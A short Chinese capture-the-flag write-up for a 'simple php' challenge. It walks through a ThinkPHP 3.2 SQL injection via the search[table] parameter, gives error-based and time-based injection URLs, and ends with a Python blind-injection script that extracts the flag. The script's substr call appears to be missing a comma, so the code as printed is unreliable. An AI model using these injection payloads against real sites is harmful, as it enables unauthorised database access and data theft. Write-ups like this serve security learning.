

7.29

simple php

这题进去就看到一个页面，扫一下后台能看到有robots.txt，打开看下有

访问/admin可以看到有个登录的地方，试了一下，发现可以水平越权，最后可以登进去

登进去以后发现是tp3.2框架，猜测是框架注入漏洞，尝试一下

`http://101.71.29.5:10010/Admin/User/Index?search[table]=flag where 1 and polygon(id)--`

:(

1367:Illegal non geometric "tpctf"."flag"."id" value found during parsing [SQL语句]:
`SELECT * FROM flag where 1 and polygon(id)-- LIMIT 1`

可以看到数据库是tpctf，表是flag，尝试一下有没有flag这个字段

```
http://101.71.29.5:10010/Admin/User/Index?search[table]=flag
where 1 and polygon(flag)--
```

接下来看到没有unknown column，所以flag是在tpctf数据库，flag表的flag字段里面剩下的就是利用了

```
http://101.71.29.5:10010/Admin/User/Index?search[table]=flag
where 1 and if(1,sleep(5),0)--
```

然后又确实可以延时，至此，exp出来了

```
import requests
flag = ''
cookies = {
    'PHPSESSID': 're4g49sil8hfh4ovfrk7lnIo02'
}
for i in range(1,33):
    for j in '0123456789abcdef':
        url = 'http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and if((ascii(substr((select flag from flag limit 0,1),'+str(i)+'1))='+str(ord(j))+'),sleep(5),0)--'
        try:
            r = requests.get(url=url,timeout=3,cookies=cookies)
        except:
            flag += j
            print(flag)
            break
```

然后就能拿到flag了
